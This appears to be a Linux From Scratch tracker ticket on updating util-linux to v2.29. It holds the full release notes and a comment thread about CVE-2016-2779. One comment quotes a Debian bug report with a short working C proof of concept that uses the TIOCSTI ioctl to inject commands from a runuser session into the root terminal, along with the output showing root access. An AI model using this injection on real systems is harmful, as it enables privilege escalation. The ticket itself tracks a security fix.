util-linux v2.29 (CVE-2016-2779)

[bdubbs@…]

Now at -rc1

Util-linux 2.29 Release Notes
=============================

Security issues
---------------

CVE-2016-2779 -- fixed by workaround based on libseccomp, the workaround
                 disables TIOCSTI ioctl in su/runuser session.

Changes between v2.28 and v2.29
-------------------------------

agetty:
   - call uname() only when necessary  [Karel Zak]
   - don't modify argv[] when parse speeds  [Karel Zak]
   - fix \S usage  [Karel Zak]
   - move unreachable code to pre-processor #else segment [oclint]  [Sami Kerola]
blkdev:
   - guard against missing DIOCGDINFO on FreeBSD 11  [Franco Fichtner]
blkdiscard:
   - Improve man page  [Allon Mureinik]
build-sys:
   - add --disable-plymouth-support  [Karel Zak]
   - add --disable-widechar  [Karel Zak]
   - add --enable-libuuid-force-uuidd  [Ruediger Meier]
   - add UL_REQUIRES_COMPILE macro  [Karel Zak]
   - add missing include/plymouth-ctrl.h  [Karel Zak]
   - add non-action for ncurses pkg-cong test  [Karel Zak]
   - add parisc to define ARCH_  [Karel Zak]
   - add tools/Makemodule.am  [Karel Zak]
   - clean up relation between ncurses[w] and wide-char support  [Karel Zak]
   - cleanup --with-ncurses  [Karel Zak]
   - fix comments in ul.m4  [Karel Zak]
   - fix uClibc-ng scanf check  [Waldemar Brodkorb]
   - remove dead libsmartcols sample  [Karel Zak]
   - remove global dependence between widechar and ncursesw  [Karel Zak]
   - remove obsolete [cs]fdisk LDADDs  [Karel Zak]
   - remove obsolete comment  [Karel Zak]
   - test functions does not return void  [Sami Kerola]
   - use UL_DEFAULT_ENABLE() only for programs  [Karel Zak]
   - workaround for autoconf "present but cannot be compiled"  [Karel Zak]
cal:
   - allow to specify month by name  [Karel Zak]
   - cleanup non-ncurses build  [Karel Zak]
   - support timestamps  [Karel Zak]
   - use %04d for year  [Karel Zak]
cfdisk:
   - use libsmartcols ASCII for non-widechar environment  [Karel Zak]
cfisk:
   - add /dev/vda as another default disk  [Karel Zak]
chfn:
   - chsh  use selinux_check_passwd_access()  [Karel Zak]
chrt:
   - add fallback to be usable on kernels without sched_{get,set}attr  [Karel Zak]
   - validate priority before trying to use it  [Sami Kerola]
colcrt:
   - avoid the command getting hung [afl]  [Sami Kerola]
debug:
   - use const void * for ul_debugobj()  [Igor Gnatenko]
deprecated.txt:
   - Add sfdisk --show-pt-geometry  [Stanislav Brabec]
dmesg:
   - --notime should not suppress --show-delta  [Sami Kerola]
   - drop core at impossible case in read_buffer() [oclint]  [Sami Kerola]
   - fix indention  [Karel Zak]
   - use strtimeval_iso()  [Karel Zak]
docs:
   - Fix various typos  [Sebastian Rasmussen]
   - add file format note to utmpdump manual page  [Sami Kerola]
   - optinal option arguments should be long-only  [Sami Kerola]
   - some random fixes  [Karel Zak]
   - update AUTHORS file  [Karel Zak]
fdisk:
   - Add support for altering GPT size  [Sassan Panahinejad]
   - Fix typo RequiredPartiton -> RequiredPartition  [Sebastian Rasmussen]
   - add --wipe-partitions=auto|never|default  [Karel Zak]
   - make -l <dev ...> behaves like fdisk -l  [Thierry Vignaud]
   - use PAGER for 'l' command.  [Karel Zak]
findmnt:
   - (verify) add docs  [Karel Zak]
   - (verify) add options verification  [Karel Zak]
   - (verify) add source verification  [Karel Zak]
   - (verify) add swaparea verification  [Karel Zak]
   - (verify) check filesystem type  [Karel Zak]
   - (verify) minor changes in strings  [Karel Zak]
   - add --verify and --verbose  [Karel Zak]
   - remove duplicate include  [Karel Zak]
flock:
   - Introduce no-fork option.  [Terry Burton]
fsck:
   - fix racing between unlock/unlink and open  [Yuriy M. Kaminskiy]
   - remove fs-specific options from man page  [Karel Zak]
fsck.minix:
   - Verify more fields in super-block.  [Tobias Stoeckmann]
   - fix endless loop and out of stack  [Karel Zak]
getops:
   - improve getopt-parse.bash example  [Sami Kerola]
getopt:
   - fix memory leaks and integer overflows [ASAN & valgrind]  [Sami Kerola]
   - keep pointer to 'name' in control struct  [Karel Zak]
hwclock:
   - use strtimeval_iso()  [Karel Zak]
include/closestream:
   - define exit codes  [Karel Zak]
include/env:
   - minor fixes and clean ups  [Karel Zak]
include/timeutils:
   - rewrite iso formatting functions  [Karel Zak]
   - use pointer for time_t  [Karel Zak]
include/widechar:
   - add fallback for WEOF  [Karel Zak]
   - add missing fallbacks  [Karel Zak]
ionice:
   - clarify description of --classdata  [Daniel Shahaf]
kill:
   - remove pid command-name to option alias  [Sami Kerola]
last:
   - cleanup time formatting code  [Karel Zak]
   - fix logout time  [Karel Zak]
lib:
   - avoid double free in loopdev.c  [Sami Kerola]
   - try to find tty in get_terminal_name()  [Sami Kerola]
lib/loopdev:
   - Set errno in is_loopdev on error  [Tobias Stoeckmann]
   - cleanup sizelimit check  [Karel Zak]
lib/mbsalign:
   - fix for non-widechar  [Karel Zak]
lib/pager:
   - cleanup and extend API  [Karel Zak]
   - fix test  [Karel Zak]
   - restore signals setting by pager_close()  [Karel Zak]
lib/randutils:
   - add xsrand() and rand_get_number()  [Karel Zak]
lib/strutils:
   - make left and right trims more robust  [Sami Kerola]
lib/sysfs:
   - be more smart for non-scsi devices  [Karel Zak]
lib/timeutils:
   - add strtime_short()  [Karel Zak]
   - add strxxx_iso() functions  [Karel Zak]
lib/ttyutils:
   - use stdout for get_terminal_width()  [Karel Zak]
libblkid:
   - Add metadata signature check for IMSM on 4Kn drives  [Alexey Obitotskiy]
   - Avoid OOB access on illegal ZFS superblocks  [Tobias Stoeckmann]
   - Check that cluster size is nonzero when probing exFAT  [Rostislav Skudnov]
   - [exfat] Limit maximum number of iterations in find_label  [Rostislav Skudnov]
   - avoid non-empty recursion in EBR  [Karel Zak]
   - don't check nonnull attributes for NULL [-Wnonnull-compare]  [Karel Zak]
   - fix debugging macro [oclint]  [Sami Kerola]
   - fix mistake in debug message  [Karel Zak]
   - ignore empty MBR on LVM device  [Karel Zak]
   - ignore extended partition at zero offset  [Karel Zak]
   - improve debug messages  [Karel Zak]
   - make I/O errors on CDROMs non-fatal  [Karel Zak]
   - make blkid_do_wipe() work with probes with offset  [Petr Uzel]
   - reduce probing area for crazy CDROMs  [Karel Zak]
   - remove unused function  [Karel Zak]
   - simplify if clause [oclint]  [Sami Kerola]
   - store only canonical devnames to the cache  [Karel Zak]
libcommon:
   - add ISO_8601_GMTIME that will print UTC-0 timestamps  [Sami Kerola]
libfdisk:
   - (docs) add missing version notes  [Karel Zak]
   - (gpt) be more careful with 64bit constants  [Karel Zak]
   - Add support for altering GPT size  [Sassan Panahinejad]
   - Distinguish between first LBA sector and partition  [Tobias Stoeckmann]
   - Fix assert error in free space handling  [Tobias Stoeckmann]
   - add API for work with labelitems  [Karel Zak]
   - add fdisk_wipe_partition()  [Karel Zak]
   - cleanup fdisk_gpt_set_npartitions()  [Karel Zak]
   - don't offer zero length freespace  [Karel Zak]
   - fix range checking for fdisk_set_last_lba  [Sassan Panahinejad]
   - make table-length usage more robust  [Karel Zak]
   - move fdisk_field_...() functions to field.c  [Karel Zak]
   - use fdisk_add_partition() for unused partno  [Karel Zak]
   - use table-length in dump for non-standard PT  [Karel Zak]
liblkid:
   - Add length check in probe_nilfs2 before crc32  [Torsten Hilbrich]
   - fix probe_nilfs2 I/O error backup  [Karel Zak]
libmount:
   - Fix possible crash in mnt_context_setup_loopdev()  [Stanislav Brabec]
   - Introduce new error  MNT_ERR_LOOPOVERLAP  [Stanislav Brabec]
   - Preserve empty string value in optstr parsing  [Filipe Brandenburger]
   - Re-organize is_mounted_same_loopfile()  [Stanislav Brabec]
   - don't check nonnull attributes for NULL [-Wnonnull-compare]  [Karel Zak]
   - don't support /etc/mtab by default  [Karel Zak]
   - fix memory leak  [Sami Kerola]
   - fix mnt_table_parse_mtab() logic  [Karel Zak]
   - fix mnt_table_parse_stream() logic  [Karel Zak]
   - fix mount -a for cifs  [Aurelien Aptel]
   - ignore redundant slashes  [Karel Zak]
   - make kernel_fs_postparse() more robust  [Karel Zak]
   - one iteration to detect overlap and reuse loopdev  [Karel Zak]
   - paranoid change in mnt_table_is_fs_mounted()  [Karel Zak]
   - remove duplicate code  [Karel Zak]
   - reuse existing loop device  [Stanislav Brabec]
   - try absolute target before canonicalize  [Karel Zak]
libmount, look:
   - remove dead code [oclint]  [Sami Kerola]
libmout:
   - Reuse loop device safely  [Stanislav Brabec]
libsmartcols:
   - (docs) add missing functions  [Karel Zak]
   - (docs) add missing version notes  [Karel Zak]
   - Corrected JSON escaping  [Karel Zak, Bryan Elliott]
   - add JSON support to sample application  [Karel Zak]
   - add application to test library features  [Karel Zak]
   - add fallback for symbols  [Karel Zak]
   - add functions to control terminal usage  [Karel Zak]
   - add maxout sample  [Karel Zak]
   - add scols_column_add_width()  [Karel Zak]
   - add scols_table_get_name()  [Igor Gnatenko]
   - add scols_table_is_nolinesep()  [Igor Gnatenko]
   - add scols_table_is_nowrap()  [Igor Gnatenko]
   - add support for trees to the sample application  [Karel Zak]
   - allow to change cell padding char  [Karel Zak]
   - be consistent, use 'sy' for symbols  [Igor Gnatenko]
   - be more strict about empty tables  [Karel Zak]
   - cleanup get functions  [Karel Zak]
   - cleanup line separator usage  [Karel Zak]
   - cleanup scols_table_set_symbols() API  [Karel Zak]
   - commit missing file  [Karel Zak]
   - custom wrap fixes  [Karel Zak]
   - don't print title color is colors disabled  [Karel Zak]
   - extend wrapnl sample  [Karel Zak]
   - fix WRAPNL crashes  [Karel Zak]
   - fix WRAPNL on strings without \n  [Karel Zak]
   - fix comment  [Karel Zak]
   - fix hidden file usage  [Karel Zak]
   - fix minimal column width calculation  [Karel Zak]
   - fix non-tty output for 'maxout' columns  [Karel Zak]
   - fix padding for non-maxout output  [Karel Zak]
   - fix scols_table_enable_colors() usage in samples  [Karel Zak]
   - fix title output on non-tty  [Karel Zak]
   - fix tree padding  [Karel Zak]
   - fix typos in docs  [Igor Gnatenko]
   - fixes in doc generation  [Igor Gnatenko]
   - improve JSON  [Karel Zak]
   - keep scols_table_get_termwidth() read-only  [Karel Zak]
   - make get_line/column_separator() return const  [Igor Gnatenko]
   - remove debuging code from sample  [Karel Zak]
   - support LIBSMARTCOLS_DEBUG_PADDING=on  [Karel Zak]
   - support custom wrap and remove SCOLS_FL_WRAPNL  [Karel Zak]
   - support multi-line cells based on line breaks  [Karel Zak]
   - use SCOLS_FL_RIGHT in sample  [Karel Zak]
   - use const qualifier for scols_table_get_termwidth  [Igor Gnatenko]
   - use const qualifier where it's possible  [Igor Gnatenko]
logger:
   - add man page note about the default --tag  [Karel Zak]
   - be more precise about --port description  [Karel Zak]
   - remove trailing spaces when outputing to journal  [Sami Kerola]
   - simplify if clause [oclint]  [Sami Kerola]
loopdev:
   - Implememt loopcxt_set_status()  [Stanislav Brabec]
losetup:
   - Prevent AUTOCLEAR detach race  [Stanislav Brabec]
   - add --nooverlap options  [Karel Zak, Stanislav Brabec]
   - allow to use --nooverlap when device specified  [Karel Zak]
   - fix outdated comment  ["Yuriy M. Kaminskiy"]
lsblk:
   - improve support for nvme  [Karel Zak]
   - use ID_WWN_WITH_EXTENSION is possible  [Karel Zak]
lscpu:
   - add --physical option  [Heiko Carstens]
   - add drawer support  [Heiko Carstens]
   - add parsable testcase with the --physical option  [Heiko Carstens]
   - add s390 drawer testcase  [Heiko Carstens]
   - fix MMHZ column entry within man page  [Heiko Carstens]
   - fix typo in summary output  [Heiko Carstens]
   - make lookup_cache() more robust  [Karel Zak]
   - only try to read sysfs attributes of present CPUs  [Heiko Carstens]
   - print correct number of threads per core if possible  [Heiko Carstens]
   - show additional caches (s390)  [Heiko Carstens]
   - show machine type (s390)  [Heiko Carstens]
   - show static and dynamic MHz (s390)  [Heiko Carstens]
   - update s390-lpar-drawer testcase  [Heiko Carstens]
lsipc:
   - use strtime_short()  [Karel Zak]
   - use strtm_iso()  [Karel Zak]
lslocks:
   - add --noinaccessible  [Karel Zak]
lslogins:
   - simplify if clause and move definition and comments [oclint]  [Sami Kerola]
   - use strtime_short()  [Karel Zak]
   - use strtm_iso()  [Karel Zak]
lsns:
   - check for OOM  [Karel Zak]
   - missing ns/<name> is not error  [Karel Zak]
   - support cgroup namespaces  [Michał Bartoszkiewicz]
lspcu:
   - minor manpage improvement  [Heiko Carstens]
man pages:
   - fix spacing between man page name & section number  [Mike Frysinger]
misc:
   - Fix various typos  [Sebastian Rasmussen]
   - always check setenv(3) return value  [Sami Kerola]
   - cleanup non-widechar compilation  [Karel Zak]
   - fix declarations shadowing variables in the global scope [oclint]  [Sami Kerola]
   - simplify if clauses [oclint]  [Sami Kerola]
mkswap:
   - tolerate ENOTSUP when failing to relabel  [Lubomir Rintel]
more:
   - don't include ncurses.h, fix for non-widechar  [Karel Zak]
mount:
   - Handle EROFS before calling mount() syscall  [Stanislav Brabec]
   - Handle MNT_ERR_LOOPOVERLAP  [Stanislav Brabec]
   - add note about another flags for "remount,bind"  [Karel Zak]
   - add note about loopdev reuse to mount.8  [Karel Zak]
   - add note about paths verification to mount.8  [Karel Zak]
   - mount.8 Update loop device documentation  [Stanislav Brabec]
   - small change to mount.8 loopdev section  [Karel Zak]
   - try to tell what mount was doing when it failed  [Sami Kerola]
nsenter:
   - enter namespaces in two passes  [James Bottomley]
pathnames:
   - guard clashing definitions on FreeBSD  [Franco Fichtner]
pg:
   - stop building the command by default  [Sami Kerola]
po:
   - merge changes  [Karel Zak]
   - update cs.po (from translationproject.org)  [Petr Písař]
   - update de.po (from translationproject.org)  [Philipp Thomas]
   - update es.po (from translationproject.org)  [Antonio Ceballos Roa]
   - update ja.po (from translationproject.org)  [Takeshi Hamasaki]
   - update nl.po (from translationproject.org)  [Benno Schulenberg]
   - update pl.po (from translationproject.org)  [Jakub Bogusz]
   - update sv.po (from translationproject.org)  [Sebastian Rasmussen]
pylibmount:
   - include c.h  [Karel Zak]
ramctl:
   - add support for zram-control  [Karel Zak]
script:
   - avoid trying fclose(NULL)  [Sami Kerola]
   - check status of writes when closing outputs  [Sami Kerola]
   - close file descriptors on exec  [Sami Kerola]
   - improve coding style and the "done" message  [Karel Zak]
   - use empty-slave heuristic more carefully  [Karel Zak]
scriptreplay:
   - avoid re-implementing strtod_or_err()  [Sami Kerola]
   - improve error message  [Sami Kerola]
setpwnam:
   - fix memory leak  [Sami Kerola]
setterm:
   - de-duplicate color option string parsing  [Karel Zak]
   - fix declarations shadowing variables in the global scope [oclint]  [Sami Kerola]
   - remove unnecessary translation string  [Sami Kerola]
sfdisk:
   - Add --show-pt-geometry compatibility code  [Stanislav Brabec]
   - Add support for altering GPT size  [Sassan Panahinejad]
   - add --no-tell-kernel  [Karel Zak]
   - add --wipe-partitions=auto|never|default  [Karel Zak]
   - add show-pt-geometry to usage() and sfdisk.8  [Karel Zak]
   - exit with error if rereading partition table fails  [Victor Dodon]
   - make non-interactive output more readable  [Karel Zak]
smartcols/symbols:
   - free cell_padding in unref()  [Igor Gnatenko]
su, runuser, setpriv:
   - create links between man pages  [Karel Zak]
su,runuser:
   - add libseccomp based workaround for TIOCSTI ioctl  [Karel Zak]
sulogin:
   - agetty  use the plymouth local protocol instead the plymouth binary  [Werner Fink]
   - make fopen O_CLOEXEC specifier usage portable  [Sami Kerola]
   - remove __nonnull__ function attribute  [Sami Kerola]
swapon:
   - fix discard option parsing  [Karel Zak]
switch_root:
   - simplify code and reduce indentation [oclint]  [Sami Kerola]
syspriv:
   - flip inverted logic [oclint]  [Sami Kerola]
tailf:
   - Fix previously adjusted segfault patch  [Tobias Stoeckmann]
   - Fix segmentation fault in tailf on 32 bit  [Tobias Stoeckmann]
taskset:
   - clarify that masks are always hex in man page  [Chris Metcalf]
tests:
   - Add helper for TIOCSTI exploit  [Stanislav Brabec]
   - Add loop-overlay test  [Stanislav Brabec]
   - Add losetup-loop test suite  [Stanislav Brabec]
   - Allow running a single test case from tests/run.sh  [Filipe Brandenburger]
   - Fix fdisk/id and fdisk/mbr-nondos-mode on Sparc  [James Clarke]
   - Use proper word splitting when executing tests  [Filipe Brandenburger]
   - add another libsmartcols tests  [Karel Zak]
   - add chrt test  [Karel Zak]
   - add columns separator to libsmartcols test  [Karel Zak]
   - add export and raw to libsmartcols test  [Karel Zak]
   - add libsmartcols JSON test  [Karel Zak]
   - add libsmartcols title test  [Karel Zak]
   - add libsmartcols wrap and wrapnl tree tests  [Karel Zak]
   - add missing expected/ dir stuff  [Karel Zak]
   - add tree libsmartcols test files  [Karel Zak]
   - challenge utmpdump localization go-around  [Sami Kerola]
   - check for mount(8) in minix test  [Karel Zak]
   - don't depend on GNU md5sum  [Ruediger Meier]
   - fix for non-ncurses version  [Karel Zak]
   - fix libmount loop-overlay test  [Karel Zak]
   - fix loop-overlay test  [Karel Zak]
   - fix losetup tests for --nooverlap  [Karel Zak]
   - fix ttyutils test  [Karel Zak]
   - fix utmpdump timestamps to be in iso format  [Sami Kerola]
   - implement ts_skip_subtest  [Karel Zak]
   - improve libsmartcols test  [Karel Zak]
   - keep 'hppa' in fdisk/bsd test too  [Karel Zak]
   - make chrt test more debug-able  [Karel Zak]
   - make tests more portable due to mtab  [Karel Zak]
   - mark build-in paths test as optional  [Karel Zak]
   - mark chrt as TS_KNOWN_FAIL  [Karel Zak]
   - mark chrt tests as root-only  [Karel Zak]
   - move getopt to separate directory  [Karel Zak]
   - really fix fdisk/bsd for hppa  [Helge Deller]
   - refresh cal(1) test  [Karel Zak]
   - remove USE_LIBMOUNT_FORCE_MOUNTINFO  [Karel Zak]
   - remove unnecessary file  [Sami Kerola]
   - test_md5 prints md5sum only  [Ruediger Meier]
   - update build-sys tests  [Karel Zak]
   - update sfdisk output strings  [Karel Zak]
   - utmpdump add subsecond accuracy test  [Sami Kerola]
tools:
   - add script to load .po from translationproject.org  [Karel Zak]
travis:
   - fix OSX, glibtoolize could not find sed  [Ruediger Meier]
trivial:
   - s/automatical/automatic/g  [Igor Gnatenko]
   - use tabs consistently  [Igor Gnatenko]
ul:
   - Fix buffer overflow  [Tobias Stoeckmann]
umount:
   - add note about FS names differences to the man page  [Karel Zak]
   - cleanup umount.8 about mtab  [Karel Zak]
   - fix obsolete info about loop= in umount.8  [Karel Zak]
utmpdump:
   - use always UTC-0 timezone in textual output  [Sami Kerola]
   - use iso-8601 timestamp format with subsecond accuracy  [Sami Kerola]
uuidd:
   - remove unnecessary pidpile path variable  [Sami Kerola]
wipefs:
   - force GPT detection  [Karel Zak]
write:
   - add control structure to clarify what is going on  [Sami Kerola]
   - don't use strftime()  [Karel Zak]
   - fix setuid related regression  [Wayne Pollock]
   - get rid of function prototypes  [Sami Kerola]
   - improve coding style  [Sami Kerola]
   - improve function and variable names  [Sami Kerola]
   - make timestamp to be obviously just a clock time  [Sami Kerola]
   - remove PUTC macro  [Sami Kerola]
   - remove pointless fileno(3) calls  [Sami Kerola]
   - remove unnecessary utmp variables  [Sami Kerola]
   - remove unused variable  [Sami Kerola]
   - run atexit() checks at the end of execution  [Sami Kerola]
   - set atime value in term_chk() only when needed  [Sami Kerola]
   - stop removing and adding /dev/ in front of tty string  [Sami Kerola]
   - tell when effective gid and tty path group mismatch  [Sami Kerola]
   - use xstrncpy() from strutils.h  [Sami Kerola]

- add control structure to clarify what is going on  [Sami Kerola]
- don't use strftime()  [Karel Zak]
- fix setuid related regression  [Wayne Pollock]
- get rid of function prototypes  [Sami Kerola]
- improve coding style  [Sami Kerola]
- improve function and variable names  [Sami Kerola]
- make timestamp to be obviously just a clock time  [Sami Kerola]
- remove PUTC macro  [Sami Kerola]
- remove pointless fileno(3) calls  [Sami Kerola]
- remove unnecessary utmp variables  [Sami Kerola]
- remove unused variable  [Sami Kerola]
- run atexit() checks at the end of execution  [Sami Kerola]
- set atime value in term_chk() only when needed  [Sami Kerola]
- stop removing and adding /dev/ in front of tty string  [Sami Kerola]
- tell when effective gid and tty path group mismatch  [Sami Kerola]
- use xstrncpy() from strutils.h  [Sami Kerola]

[Samuel]

I'm going to look a bit more into the security vulnerability associated with this.

[Samuel]

From the Debian bugs page:

When executing a program via "runuser -u nonpriv program" the
nonpriv session can
escape to the parent session by using the TIOCSTI ioctl to push
characters into the
terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" by calling setsid() and in "sudo" by
using the "use_pty" flag

# cat test.c
#include <sys/ioctl.h>

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
}

# gcc test.c -o test
# id saken
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# runuser -u saken ./test ---> last command i type in
id
# id ---> did not type this
uid=0(root) gid=0(root) groups=0(root)

Doug is helping me with this, but I'll take the ticket. I don't know whether we shouldn't just use this version and not stable.

[bdubbs@…]

Don't take any LFS tickets. I'll do those except for the two packages in systemd (dbus and systemd) and Douglas will do those.

Usually util-linux takes 2-3 weeks between -rc and release. We will wait for that.

[bdubbs@…]

Now at -rc2

[bdubbs@…]

util-linux release v2.29 has been released.

I plan on updating this and other LFS tickets tomorrow (Nov 9).

[bdubbs@…]

Fixed at revision 11142.

[bdubbs@…]

Milestone renamed